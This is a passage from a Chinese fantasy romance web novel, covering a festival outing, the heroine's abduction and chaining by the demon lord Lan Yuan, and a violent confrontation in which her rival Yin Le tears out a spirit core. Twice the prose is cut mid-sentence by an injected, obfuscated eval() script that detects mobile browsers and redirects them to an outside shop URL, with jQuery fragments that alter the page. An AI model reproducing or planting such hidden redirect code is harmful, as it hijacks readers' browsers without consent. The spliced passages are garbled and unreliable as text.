“不知。”慕小闲摇摇头,嘴角却浮现一丝狡黠的笑意:“我让小十一向青丘左右相求助,只有施未羽匆匆赶来,你说卿书去哪儿了? 不等晏离回答,她接着道:“盯着长乐宫里那位了呗。 “施未羽虽然古板,但是做事细致入微,不可能察觉不出殷乐的异样,只是先前没往别处想罢了。她在权力中心那么多年,怎么可能不明白无风不起浪的道理,那些猜测旁的人听了只作笑谈,但她一定会查清楚。再加上她对白家忠心耿耿,就算一时接受不了我的身份,也不可能由着殷乐胡来。 “施未羽在青丘根基稳固,殷乐暂且找不到理由动她。再加上魔族刚暴露了一个重要据点,他们转移阵地尚需要些时间,如此内忧外患,他们的计划应是要重新考量了。只是我还有一些事情不太明白......”慕小闲拧眉道。 “为何魔族宁可冒如此大的风险将青丘拖下水,也要与天庭为敌?”晏离道。 慕小闲点点头:“这个故事始于神魔大战,可是神魔大战距今只有一万年,天界有数十万年的历史,在那之前又发生过什么?” 晏离答道:“天庭与魔域之间的暗潮多年来一直存在,只是当初纷争因何而起,仙人之间众说纷纭,没有定论。” 慕小闲知道这件事牵扯甚广,不是三言两语就能说明白的,她思忖道:“方才施未羽提到永昭殿下,当年她为了凝寒将军的病前往戎族,许多年音讯全无,或许这条线索可以再做一手准备。” 可戎族隐蔽,无人知晓确切位置,两人取道北上,一面寻找线索,一面还要避开殷乐派来的爪牙,一路废了不少周章。 辗转之下,居然来到万丰镇,迎上了十年一度的盛大庆典。 街上游人如织,灯火如炬,热闹非常。 两人被挤入人流中,看着一片灯火阑珊,犹如恍然入梦。 一名黄发小儿拿着狐狸面具一蹦一跳地从他们面前走过,那只红线勾勒出狐狸媚眼的面具,乍看之下与晏离记忆中,当年在月神节上白瑶买的那只有几分相似。 晏离在街口一面具摊前驻足,摊贩一见他器宇不凡,赶紧过来招呼:“爷,我们这儿有玉兔、月神、神狐......都是新版式,您可有看得上眼的?” 晏离不语,眸子淡淡地望着架上挂着的那只狐狸面具,眼中仿佛弥漫着一层易碎的薄雾。慕小闲知道他在想什么。 小镇风华几经岁月洗礼,月神节的面具版式更新迭代。那个在白瑶离开时毅然决然地踩碎的狐狸面具,那一夜漫天璀璨烟火和呼之欲出的告白,再也回不来了。 慕小闲拉了拉晏离的袖子:“晏离,我想要那个。”手指的方向却是另一边的玉兔面具。 既然回不去,那就向前看吧,人总是会变的。 慕小闲带上玉兔面具,面具像是附在了原本的脸庞上,两只又长又白的兔子耳朵立在头顶,一双又圆又红的眼睛眨了眨,煞是可爱。 “好看吗?”慕小闲问。 晏离轻轻应了一声。 慕小闲一扭头,又看到街上的小童手中拿着糖葫芦,嘴上一馋,对晏离说:“我去去就来。” 慕小闲从人群中挤到街角,糖葫芦串近在眼前,突然膝盖一沉,低头一看居然有一个看上去三四岁大的孩子抱住了她的大腿。 慕小闲倒吸一口气,抖了抖腿,嘿!居然还甩不掉! 小孩抬起头,一张脸生的十分秀气,一双灵动的眼睛犹带着几分惊魂未定,愣怔地看着她。 慕小闲伸手去拉他的胳膊,小孩却死死扒拉着她不松手。 她心里咯噔一下,想:他可别一开口喊我叫妈妈啊! “你是谁?”慕小闲问。 小孩怔怔地望了她一会儿,扭头看向乌泱泱的人群中,瘪了瘪嘴,带着哭腔喊道:“娘——” 慕小闲犹如被雷劈了,心里叫道,坏了坏了,我就说他要喊我妈妈吧。 不多时,人群中挤出一个梳着发髻的女子,穿着端庄大方,头上插着一只镶了玉珠的木簪,在灯火下泛着莹莹如月的光辉。她像是刚奔走而来,喘了口气,对那孩子说:“丰裕你在做什么?你快从人家腿上下来!” 小孩看看女子,转头又看看慕小闲,嘴角迅速憋了下去,转头呜呜地哭道:“娘娘——” 慕小闲与女子相顾无言,对视片刻,两人都在对方眼中看到了无奈。 “姑娘,可能是你的面具吓到他了。”女子说。 慕小闲点点头,摘下面具,小孩一看果然不哭了,还呆呆地看着她出神。 女子轻笑道:“还傻傻抱着人家做什么?快过来,我们回家去了,你爹爹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546769|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还在家里等着呢。” 小孩放开慕小闲的腿,走到女子身边,回头看了慕小闲几眼,眼中有几分新奇。 女子抱起小孩,哄了哄,还埋怨了几句:“怎么能随便抱人家呢?丰裕,你爹爹教你的东西你都学到哪里去了?”又转头对慕小闲问道:“姑娘看着面生,是来过月神节的吗?” 慕小闲点点头:“久闻月神节盛况,来感受一下节日气氛。这长街华彩果真是不同凡响,在青丘恐怕都找不到第二个了。” 女子笑了,眼中划过一丝得意:“我与姑娘投缘,姑娘这些天在镇上放心游玩,若是有招待不周的事儿,可以来丰家找我,我叫丰蓓。” 慕小闲微微一怔,突然将记忆深处那个英姿飒爽的身影渐渐与眼前的女子重叠,她的一颦一笑是那么熟悉,多年前也是在这样一条街,她生涩地描述自己对伍公子的情谊,而现在她怀中正是他们爱的结晶。 时光飞逝,好像什么都变了,又好像什么都没变。 “你怎么了?”慕小闲的沉默惹来了丰蓓的疑惑。 慕小闲摇摇头:“没事。就是认识你挺开心的。” 丰蓓笑了一下:“不知道为什么我也挺开心的。我先走了,孩子他爹等着我们回去吃饭呢。”说完,丰蓓抱着孩子转身走进人群之中。 慕小闲望着丰蓓的身影消失在茫茫人海之中,久久无法回神,直到听到熟悉的声音在身旁问:“怎么了?” 慕小闲恍然回神,望向晏离,带着几分惆怅说:“我刚才见到丰蓓了。” 晏离微怔。 “她看上去过的很幸福。” “......” “你要去见见她吗?”慕小闲问。 晏离看向无迹可寻的人群之中:“知道他们安好足以。” “你们还买不买糖葫芦啊?”身后的小贩提醒道。 慕小闲:“买,当然要买!”语气中多了几分轻快和喜悦。 在慕小闲期许的目光下,小贩小心翼翼地摘下一只糖葫芦:“你们第一次来万丰镇吧?你们尝过今年的月牙酥吗?近些年镇上繁荣昌盛,月牙酥竞争越来越激烈了,今年获胜的月牙酥可不一般,口感、造型、寓意那都是顶顶好的。” 慕小闲眼睛一亮:“这就去。” 不多时,慕小闲怀里又多了一袋油纸。她将面具绑在腰侧做摆件,就像腰上揣了一只小兔子一般,引得路人频频回首,一时街上不少女子效仿。 月牙酥依旧是月牙的造型,不同的是外面几层金黄薄脆的酥皮。酥皮上印了一个缥缈仙子的形象,仿佛是月神在月亮上翩然起舞。香甜的气息透过纸袋,直扑鼻尖,一口下去酥、脆、甜、糯,层次丰富,精巧又高级。 连不吃的甜食的晏离在慕小闲的强烈推荐下,都轻轻咬了一小口。 月神节开幕,月神的故事一幕接一幕上映,观众席依然座无虚席,翘首以盼月神十年一次的团圆。服饰和妆容越来越精致,剧情虽有改动,但也不影响故事的内核。容疏与长熠在历经了人间、天庭、地府的生离死别后,终于感动了天地,得以长相厮守。 掌声雷动,经久不息。 剧目结束后,慕小闲避开人流在街边一隅站了很久,望着灯火通明的长街人来人往,时光流窜,好似在等什么人,但谁也没有在此停留。 慕小闲有些失望,又有些了然。她知道月神一定会来,只是时过境迁,他们没有了相遇的缘由。 一晃几日过去,月神节到了尾声。 天色一暗,街上的人群纷纷向情人桥涌去。 慕小闲与晏离乘坐一叶小舟,从河道穿流而过。细细水声,伴随着温和的风落在耳边,道旁的灯笼随着夜幕降临一个接一个亮了起来,为熙熙攘攘的人群镀上了一层温暖的光。 舟停在情人桥不远处,晏离踏上石板路,侧身向慕小闲伸出手,似乎隐隐有些期待。她也没有拂了他的兴致,将手轻轻搭上。 晏离握紧了她的手,稍一用力,她就落入他的怀中。 清风拂面,小船摇晃,水面泛起淡淡烟波,晃荡着缱绻的倒映。 情人桥上人头攒动,慕小闲原本觉得大可不必凑这个热闹,但一向喜静的晏离,这次却说既然来了,便去看看。 可这么多人,怎么挤得上去? 慕小闲微微叹了口气,跟上晏离的步伐,转身往桥上去时突然感到后颈一刺,仿佛一道不寻常的目光透过层层人群落在她身上。她回头四处望了望,什么也没发现。 周遭实在太过喧闹,分神之间她已落后了晏离几步,她扭头赶紧跟上了他的脚步。 桥下排着队的人探头张望,晏离一身不沾纤尘的白色站在人群中格外醒目,身上还自带防暑降温的清冷气质,让人望而却步,再望退步。不敢靠近就算了,还节节败退。 晏离从人群中穿过,一步一步不急不慢地走上桥,人群不知他是何身份,但总归避让些好,于是为他让出了些许空间。慕小闲紧紧跟在他身后,于是浑水摸鱼也挤上了桥。 夜色深深,繁星从云雾后冒出头来,银河好似近在咫尺,河上亦有许多人在眨着眼睛翘首以盼这场十年一次的盛世繁华。 距离烟花开始的时刻越来越近,慕小闲与晏离被人群挤到了桥边,在推搡之间撞上了晏离的手臂。他的身体微微一僵,清冷的眼眸闪过一丝不自然,继而一眨不眨地望着前方。 慕小闲偏头欲与他对视,但目光一沾上,晏离面上似乎出现了一缕不同寻常的颜色,然后与她错开视线。 她怎么觉得晏离好像有些紧张? “快看快看!要开始了!” 哨声乍起,欢呼的声浪一浪比一浪高。 人群屏息凝神,翘首以待,一时间喧嚣如潮水般轰然退去。 慕小闲抬起头,满怀期待地望向高楼的方向。 “三,二,一——” 余光处蓦地冒出一团黑影,慕小闲眼前景物一晃,顿时天地颠倒。一股突如其来又迅猛无比的力量,将她撞得翻过围栏,一头砸进水里。 176. 第 176 章 轰隆一声,绚烂的烟火在上空炸裂。 昏暗的河面瞬间被烟火点亮,冰冷的河水漫上慕小闲的头顶,脚下像是漩涡一般将她死死缠住。烟火一熄,河下又变得漆黑一片,她不停地蹬腿,身体却纹丝未动。 烟火再次绽开,水下一亮,一名藏在水下的黑衣人正将她往桥下拖。 水面咕咚一声,一片白光落入水中。 那桥下竟然还有几名黑衣人,纷纷上前阻拦。 慕小闲水性不好,在水下使不上力,仙力在水下乱打一通。那名拖住她的黑衣人在水中却游刃有余,不一会儿就将她拖出去数十米远。 眼前的浑浊如浓墨弥漫,恍惚之间,眼前似乎变得深不可测,慕小闲被他拽进了河下一条隐蔽暗道。 她挣扎得更加剧烈,几脚踢在黑衣人身上,脚上的束缚一松,她立刻向上游去。划行几米,突然颈后一阵剧痛,而后昏死过去。 滴答...... 滴答....... 遥远的、遥远的地方,传来空洞的水滴声。 “哗啦——” 兜头一阵冷水泼下,慕小闲呛得猛烈地咳嗽几声,仿佛被抛上岸的鱼一般大口喘息,发出沙哑的呜咽。 她缓缓睁开眼睛,眼前一片模糊。她一动,又是“哗啦”一声,却是金属撞击的声音。 这时她才幽幽清醒过来,挣扎之间,发现自己的四肢被拴上了厚重的铁链,浑身动弹不得。 她定了定神,艰难地抬头向四周望了望,发现自己身处一个幽暗仄逼的空间内。 慕小闲提了提气,腹部一坠,仙力并没有释放出来,看来这锁链是用玄铁打造的,专门为了克制她。恐惧顿时蔓延至四肢百骸。 这里是什么地方? 什么人将她带来这里?他想做什么? 晏离呢?他在哪里? 她深吸几口气,恍然察觉幽暗深处好像有人。她直觉对方不是好人,恐怕就是设计将她从万丰镇掳走,拴在这里的人。 她带着几分轻浮的语气试探道:“阁下何人?我们可曾见过?为什么将我带来这里?不如将我放下,我们好好说说?”话一出口,她才发现自己的嗓子哑了。如此风流的对话,硬生生让她说得像行将就木之人,委实没有面子。 幽暗之处传来一声轻呵,倒是没有下文了。 慕小闲心里没底,对方若是不言不语和她干耗着,她也没有别的办法。于是,她咽了咽喉咙,说:“我口渴了,相信阁下将我关在这里,不是想将我渴死吧?” 幽暗之处仍然没有接话,她却闻到了一股浓郁的茶香,而后听到一声杯子落下的声音。 慕小闲心里将他的祖宗十八代骂了个遍。 “你到底想做什么?”慕小闲沉声问,身上的气势一变,不似先前那般不着调,反而露出了有几分威严与气势。 “......” 就在慕小闲以为是自己出现了幻觉,那里根本没有人时,幽暗处突然传来了一个鬼魅般的声音:“这才有点青丘之主的样子。” 慕小闲精疲力竭地翻了个白眼,她一天到晚遇到的都是什么神经病啊。 “阁下费这么大力气将我掳来,是为了看我发火?”慕小闲舔了舔唇,眼皮微微垂下,似是没有力气再与他争辩。 椅子挪开,脚步声停在了慕小闲跟前。她费了些力气抬眸,在微弱的光线下,眼前之人起初只有依稀一线轮廓,黑暗遮蔽了他的上半张脸,只余下一双薄唇微微勾起,显得阴冷又无情。 慕小闲狭眸瞄了一眼,越发觉得眼熟,将前因后果一思索,才明白过来他是何人。 “原来是你。吸血鬼。” “我似乎从未和你说过我的名字。”他阴柔的嗓音在狭小的空间回荡。 慕小闲撇开头冷哼一声,故意呛道:“我也没那么想知道。” “我叫兰渊。” 兰渊...... 魔域之主? 慕小闲眼神变了变,他料想过他是魔族,但居然是魔域之主。 兰渊低下头,手指缠绕上慕小闲颈侧落下的碎发,轻声问:“怕了?” 慕小闲偏头挪开一寸:“久闻盛名,不敢恭维。” 兰渊低声笑了,声音一顿,攥住慕小闲的手臂,沉声问道:“我送你的镯子,你放在哪里了?” 慕小闲身体无法动弹,撇撇嘴道:“不就是个地摊货吗,我不喜欢便扔了。” 兰渊轻呵一声,游走在她肩头的手突然转而掐住她的脖子,迫她低头与他对视。 他的眼中淬着幽暗的光,阴恻恻地盯着她。黑暗中,一声骨头挤压发出的声音格外明显。 须臾,他松开手,鲜红的唇勾起,轻声笑道:“你骗我。” 慕小闲垂着头大口喘息,抬头道:“看来那镯子对你很重要,既然这么重要,当初为什么送给我?” 兰渊垂眸片刻,说:“那个镯子叫做梵间,是魔族的宝贝,带上它我就能知道你在哪里。我原本想借由你,靠近华尧,知道天庭发生的事情。不过没想到,你居然是......白瑶。” 他们果然已经知道了她的身份。 “既然你能通过镯子知道位置,为什么不去找?” 兰渊眼神闪烁,别有深意地打量着慕小闲:“如果我说不知呢?” 慕小闲一愣,她之前拿镯子和凤钰交换了锁魂铃,难道凤钰在镯子上做了什么手脚?慕小闲眼珠一转,立马出卖了凤钰:“镯子被凤钰拿走了,你不会不认识凤钰吧?就是那个赫赫有名的上古神兽金凤凰。” 兰渊默了一瞬:“他?” 慕小闲点点头:“对,就是他,他找我要,我想留着也没什么用,不如送给他做个顺水人情,日后或许有需要他的地方。” 兰渊又沉默须臾,似乎在思索什么。 之前在春桃宴受审时,听闻凤钰是魔域的人,曾经从天庭盗走了锁魂铃,或许和魔域之主兰渊有些交情。虽然以凤钰不着调的性子,难说兰渊会不会卖他个面子,但总要试试。 “凤钰为何要那个镯子?”兰渊目光不知不觉中染上了一层阴郁。 慕小闲舔了舔干裂的唇:“因为我遇到了一抹残魂,他似乎认得这个镯子。” “你看到他了?他......”兰渊突然激动地抬高了声音,又像被风欺凌的烛火快要幽幽熄灭一般小心翼翼地问:“他是什么样子?” 这个问题很多年前凤钰也曾问过她,也带着这股莫名其妙的情绪,慕小闲不禁问道:“那抹残魂到底是谁?” 兰渊陡然后退两步,恢复了阴沉的语气:“你无需知道。” 慕小闲冷哼一声:“你抓我做什么?我现在手无缚鸡之力,一心和我那超然世外的师父一起云游山野,享受闲云野鹤的日子,又碍着你们什么了?你们害我还不够惨?还想赶净杀绝?” 兰渊眯了眯眼,再度勾起唇角,眼中却只有冷漠没有半点笑意,让人毛骨悚然:“你那师父......不要以为我不知道他都做了什么。” “不管他做了什么都是为了我。你们大胆偷梁换柱,不就是想要联合青丘,挑战天庭,报一万年前神魔大战之仇吗?” 兰渊眼神微变,别有深意地看了慕小闲一眼:“你对神魔大战知道多少?” 对于神魔大战,慕小闲只在凤钰和晏离那里听过只言片语,但无碍于她揣测出整件事情的来龙去脉。毕竟在人间文艺作品中,神魔大战实在太普遍了,仿佛他们不惊天动地地大战一场,都彰显不出作品的气势与规格。 于是慕小闲道:“一万年前,前魔域之主兰阙发起神魔大战,战败,身受重伤,回到魔域后不久不治而亡。凤钰与魔域勾结,从天庭盗走锁魂铃,被天庭上神符鸣追捕,在青丘大战一场后就地封印。” 兰渊垂眸掩住了眼中的神情:“这就是你知道的。” 慕小闲接着说:“你们战败后仍不死心,于是暗中布局,用一场天火将与我长得有几分相似的殷乐送进长乐宫,试图取而代之,从而掌控青丘资源,再度发起......神魔大战。” 她的眼睛在昏暗中闪烁着睿智的光,像是黑夜包裹中的细碎的星辰。 兰渊眸光一动,鬼魅般的嗓音在狭小的空间内再次响起:“猜得不错。我们确实有这样的打算。不过千算万算,没算到你竟然还能回来。本来事情已经安排妥当,现在却多了你这样一个变数,你说,我们该怎么办?” 怎么办?要么让她死,要么把她藏起来。 若是她死了,晏离不会善罢甘休,与她有过联系的华尧上神恐怕也会怀疑,所以她还不能死。 那么,便将她关起来,一能防止她知道了自己的身份后从中作乱,二能转移晏离与华尧的注意力。 好一个一石二鸟,声东击西。 慕小闲咬了咬唇,狠狠瞪了兰渊一眼:“这就是你们的办法?” 兰渊轻巧地笑了:“是也不是,你该庆幸,我们没有选择另一个办法,另一个永无后患的办法。” 慕小闲一阵恶寒。 兰渊不再与她寒暄,转身向外走去。 “你就待在这里罢。”他的声音远了几分,慕小闲追问:“你回来!凭什么把我关起来,你要把我关到什么时候?”拉扯之时,悬挂的铁链发出哗哗撞击声,在她耳边震荡。 兰渊的声音幽幽传来:“等到一切都结束,我会来接你出去。” 慕小闲倒吸一口寒气,喊道:“天界的纷纷扰扰就没有结束的时候,你以为我会信了你的鬼话吗?我与你无冤无仇,你凭什么把我关在这里?快放我出去!” 兰渊的声音若有似无:“我一定会让这一切结束。” “若是魔域失败了,难道你要永远把我关在这里?” 声音顿了一下:“我们不会失败。” 慕小闲心里一惊,叫道:“别走! “把我放了!我不会阻止你们! “来人啊! “有人吗——” 沙哑的声音在幽暗的空间内回荡,直到这里除了她再无声息。 一望无尽的黑暗像是细密的蚂蚁,缓慢而执着地爬上她的身体,她觉得冷极了,唇齿不由自主地战栗。 她试着在神识中联系晏离,却发现自己的仙力像是被锁链封印了一般使不出来。想来兰渊应当考虑周全,将她关在了谁在找不到的地方。 慕小闲悔不当初,一想到晏离她就觉得五脏六腑都在疼。 晏离找了她那么多年,如今若是发现找不到她会多痛苦。 那日在温泉边上,晏离要她亲口承认喜欢他,她为什么没有说出口?她知道晏离为何会这么问,因为当年他将白瑶从山外云境赶走时,白瑶曾立下诅咒再也不会有人喜欢他了。 晏离是真的怕了,怕应了前世的诅咒,再也得不到她的喜欢。 慕小闲疼得想要蜷起身体,但锁链栓着她,她动弹不得。 暗无天日的牢中,不知过了多长时间,慕小闲额前的碎发忽然轻轻拂动,她警惕地睁开眼睛。她的眼睛早已适应了黑暗,隐隐约约看到一个人影走出来。 是兰渊吗? 难道已经结束了? 魔域胜利了? 熹微的光让习惯了黑暗的慕小闲眯起眼睛,她的听力变得很敏锐,轻柔的脚步声越来越近。 不是兰渊。 来人若躲藏在黑暗中的幽灵,停在几步之遥,却没有继续靠近。这种感觉让她非常不舒服,好似有人在暗中观赏她的丑态,目光不怀好意。 她累得眼皮子也懒得抬一下,声音已喑哑得不像她:“你来做什么?” 昏暗再无一点声响,好似她在这不见天日的地方待了太久,已经出现了幻觉。 她等了一会儿未见回应,抬眼瞥了对方一眼,虽然看不清楚,但她很笃定:“你应该不是来救我的吧?” 黑暗中那种尖锐的感觉愈加浓烈,须臾,慕小闲的余光中映入一双玲珑小脚。 她开始思考上一次见到殷乐是什么时候,最近遇到的事情太多,她竟然有些不记得了。不多时,她想起来最后一次见到殷乐是在长乐宫与她对峙,双方剑拔弩张,她差点就交待在那里。 那时候她们都还不知道她们之间的对峙早已存在上千年,新仇旧怨如磅礴大雪堆叠,如此一来,殷乐出现在这里委实不妙。 “不是。”殷乐的声音依旧像清泉过石。 慕小闲的眼角一跳,抬起头开始打量这张脸,眉眼、鼻子、嘴巴、脸型、身段...... 殷乐穿着慕小闲初入青丘时,在大殿上披的那件黑色霓裳,裙摆上暗红色的花随着她的走动微微摇曳,就像生长在冥府之路上的彼岸花。 虽然慕小闲很不想承认,但殷乐和过去的白瑶真的太像了,同一个爹妈可能都生不出这么像的两人。就算气质、神情略有区别,但若是她想要掩人耳目,实在是轻而易举的事情。 难怪魔族看到她之后会想到这么拙劣的计策,她的存在简直就像是上天故意安排的一场诡计。 “你来做什么?看我笑话?我寻思我也没做过对不起魔域的事情,就这么被你们折腾来折腾去的,好笑吗?”慕小闲想要装作平静,但一张嘴还是忍不住带了几分嘲讽。 殷乐看着慕小闲的脸沉默了一会儿,掐住她的下巴,冷声问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13566752|138428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“你为什么要回来?” 慕小闲呵呵一笑:“鸠占鹊巢还问鹊为什么回来?天上地下都没这么个理儿啊。” 殷乐脸上闪过一丝怒意,手上的力气将慕小闲的下巴掐得生疼,狠狠一扬袖,“啪”地一声脆响,把她打得撇过头去。 慕小闲眼冒金星,嘴里涌出一股浓稠的铁锈味,眼前本就不清晰的人影变得愈加模糊,仿佛与黑暗融为一体。 被人打了不还手那是万万不能的,慕小闲立刻想要抬手反击,却牵动了锁链,勒住手臂,只能狠狠朝对方啐了一口。 殷乐轻轻向后退了一步,与她隔开了距离。 慕小闲此时身心俱疲,长时间关押在黑暗中,让她快要发疯。 “你凭什么打我?”慕小闲骂道。知道无济于事,她也还是挥动着手臂,将铁链晃动得哗哗作响。 殷乐轻巧地说:“这个世界上有我一个白瑶就够了。” 慕小闲气极反笑:“只有你一个白瑶?你是么?你该不会做了几百年替身,就忘了自己是谁吧?” 殷乐并未生气,而是冷漠地望着她:“也许我不是白瑶,但你也不是。现在白瑶只是一个身份,而我是最适合这个身份的人。” 慕小闲:“这么说,你还挺沾沾自喜,没有人能与你争一争这个位子?” “只要你待在这里,就没有人能与我争。” “你来就是为了同我说这个?” 殷乐垂眸,再抬起时,眼眸中多了一丝血色。她扬起手,“啪”地一声,又干净利落地落在了慕小闲的脸上。 慕小闲的脸迅速肿起,她吐了一口血水,骂道:“你特么有病?”话音未落,又是一声闷哼,一股魔气冲撞上她的腹部,她哇的一声吐出了胃里所剩无几的酸水。 “呵......呵呵呵呵......" “哈哈哈哈哈哈哈......” 慕小闲摇晃着身体,在黑暗中肆无忌惮地大笑。 “你笑什么?”殷乐问。 “我笑你不敢对我怎样。”慕小闲抬起那张肿胀的脸,鄙夷地望着她:“我和你无冤无仇,你夺走了我的一切,凭什么在我面前嚣张?”她的身体被折磨得不成人形,但骨子里却有一种难以形容的硬气,对殷乐形成了无形的压迫,仿佛她才是施虐者。 黑暗中乱撞的魔气从四面八方毫无章法地狠狠冲击着慕小闲的身体,不时传来骨骼碎裂的声音,和她急促的呼吸声。 慕小闲才不会忍痛不发,她要叫,她要发泄,她要嘶吼。她要打破黑暗的沉寂,她要撕碎这不见天日的地方。 殷乐站在一旁,冷漠地看着慕小闲,不论发生什么,她都一脸漠然。 “呵......呵呵呵呵呵......” 慕小闲垂着头,身体依靠锁链勉强撑起,细碎的笑声在狭小的空间内断断续续地回荡。粘稠的液体顺着她的躯体滴落在地上,四周弥漫着一股难闻的气味。 “你还笑得出来。” “你很恨我?”微弱的气息仿佛融化在了黑暗中,但却清晰地落入了殷乐的耳中。殷乐身为魔族,想要保证魔域的计策万无一失,最好的办法是杀了她取而代之,但没有理由折磨她。 “你很恨我。”慕小闲透过眼前披散的碎发看向殷乐,眼中的嘲讽和怒意转化成为一种怜悯,仿佛在看一只溺水的蝼蚁。 她和殷乐之间或许并非如此简单。 殷乐眼中划过一丝局促:“你瞎说什么。” “你若是不恨我,没有理由折磨我。你恨我,什么时候开始的?” 殷乐没有接话,黑暗又重归宁静,仿佛刚才什么也没发生过。 “是你知道我是白瑶的时候?” 那日慕小闲只身闯入长乐宫,离开时与殷乐对峙,那时殷乐应该还不知道她是白瑶,却已经对她心怀不满。殷乐是什么时候知道她的身份的?又是什么时候嫉恨上慕小闲的? 这都不重要。 慕小闲也没那么在意殷乐的想法。 殷乐眼神复杂地望着慕小闲,良久,才隐晦地问道:“为什么有苏哥哥会把灵丹交给你?” 慕小闲反应了一下才想起来她说的有苏哥哥是谁。 有苏,是华胥筝离开华胥族后,为避人耳目在长乐宫使用的名字。 慕小闲无意识地蹙起眉,观察着殷乐的神情,她看上去依旧淡然,但眉宇间却不似方才那般轻松。 殷乐对阿筝是什么感情?她在成为白瑶之后,是阿筝一直守在她身边照料,阿筝对她仁至义尽,最后却被设计陷害,惨遭她的毒手。 若说殷乐对阿筝有情,慕小闲是不屑的。她的情多余又廉价,才会受苏怜漪蛊惑,失手杀了阿筝。 若说殷乐对阿筝无情,那她在阿筝肉身泯灭之后,将他的灵魂禁锢在一方小小的火焰之中数百年,也委实有些不合情理。 “为什么有苏哥哥会把灵丹给你?”等不到慕小闲的回答,殷乐的语气重了几分。 “他不把灵丹给我,难道给你吗?他当年是怎么对你的?他以为白瑶在天火中受伤,在万灵洞修养了三百年才恢复。在你回宫之后,他为兄为友,对你关怀备至。就算知道你不是白瑶,在万般痛苦之中他也没有揭穿你,而你又是怎么对他的?你怀疑他,陷害他,折磨他!甚至杀了他!” 慕小闲想起长乐宫昏暗的长廊上,那一声一声绝望的呼唤;那无人问津的院落中,燃魂灯微弱的火苗;那无数个日日夜夜的等待,困在一方天地求生不得求死不能。她心痛得无法呼吸,压抑的声音带着恨意道:“就算他知道你是魔族,他也未做过伤害你的事情,而你、苏怜漪、你们都做了什么?” 殷乐的身影晃了一下,怅然若失地问:“他对我好吗?” 慕小闲眉头锁得更紧,刚想骂人,就听到殷乐咬了咬牙,忿忿地说:“他对我做这一切,都是因为你!他不是对我好,他是对白瑶好。凭什么白瑶生来就能享受荣华富贵,凭什么白瑶生来就能得到所有人的拥戴,凭什么白瑶生来得到有苏哥哥的爱护?” 殷乐顿了一下,眼底漠然的神色又涌了上来,喃喃道:“若我不是白瑶,有苏哥哥哪里会多看我一眼。” 慕小闲忍着身上的疼痛,深吸了一口气:“你与有苏相处几百年,也未必明白他的为人。” 殷乐抬高了声音,眼中明明暗暗看不清楚,声音中带着一丝怆然:“你根本不知道,如果不是这个身份,哪里有机会遇见有苏哥哥这样的人。”她向慕小闲靠近了一步,手上燃起一团紫色的魔气,照亮了两个人相似又迥异的脸。 相似的是她们的长相,不同的是殷乐面容光洁,而慕小闲狼狈不堪。 177. 第 177 章 气氛陡然一紧,黑暗中仿佛有一只无形的手扼住了慕小闲的咽喉,她身上浮起一层鸡皮疙瘩,开始止不住地颤抖。 她绷紧了神经,透过那团紫色的魔气,警惕地盯着殷乐的脸,那张略显苍白、眼中却流露出亢奋的脸。 慕小闲头皮紧了紧,哑着嗓子问:“你要做什么?” “我要他的灵丹!” 殷乐猝然伸出手,没有半点迟疑,如利爪一般刺入慕小闲的腹部。她近在咫尺的脸上,两只漆黑的眼睛泛着难以掩饰的凶光,而她手中连挣扎都没有气力的,仿佛是一只弱小的兔子。 剧烈的疼痛席卷而来,慕小闲突然什么都听不见了,她大张着嘴,瞳孔渐渐扩张,呼吸急促又轻浅。 腹部一动,牵动着慕小闲的神经,她双腿发软向下跪去。身体稍一晃动,“哗啦啦”一声,锁链却将她困在半空。 “......这是他给我的......你......不能拿走......” 殷乐在她耳旁轻声说:“你窃取仙人灵丹,我只是拿回不属于你的东西。” “阿筝的灵丹......就算不属于我,也不会给你......” 殷乐的手在慕小闲的腹部没有探到灵丹,转而沿着她的腹腔四周探入,声音流露出不加掩饰的兴致:“他是我的有苏哥哥!他会给我!” 慕小闲喉头的腥气一重,哇的一声,喷出一口鲜血。 血液飞溅,沾上殷乐白皙的脸庞,但她却没有一丝迟疑。 慕小闲已经没有半点力气,脑袋随着铁链晃动东倒西歪。她的手勉强攀上殷乐的肩头,无力地攥着殷乐的衣服,气若游丝地说:“灵丹已经和我融为一体......你要是取走,我会死的...... “我死了......你能和兰渊交代吗......” 殷乐顿了一下,看着慕小闲不成人形的样子,冷冷地说:“神仙没有那么容易死。你不会死,你会生不如死。” 她故意提高了音调,拉着长长的尾音道:“你知道为什么晏离没有来救你吗?” 慕小闲顿时攥紧了她的衣服:“他怎么了?你们......你们做了什么?” 殷乐勾起唇,轻轻向慕小闲的脸上吐了一口气:“他不会来救你了。” 恐惧瞬间蹿上了慕小闲的心头,她怕了,她真的怕了。 一个人被关在这暗无天日的地方,她都能坚强忍受,但一想到晏离会遭遇不测,她就如同疯了一般害怕。她瞪着鲜红的眼睛,如同野兽一般朝殷乐嘶吼:“啊——” 与此同时,她腹部一空,一种魂魄被抽离的感觉,让她向后仰去。 这种感觉仿佛一直隐藏在她灵魂深处,像一棵参天大树被连根拔起,又像一股攥紧了的麻绳猝然崩裂,她觉得自己的身体变得轻飘飘的......整个世界都在战栗,她渺小又脆弱,一阵风就能将她撕碎。 她仿佛看见了阿筝背对着她站在一棵繁茂的树下,她踮起脚尖轻悄悄地向他走去。走至他跟前时,阿筝回过头。她趁他转身躲去了树后,在悄悄探头时,被他抓了个正着。 春日和煦,暖风微扬。 她听到自己的心跳,望着阿筝时却生怕他发现,只微微弯了下嘴角。 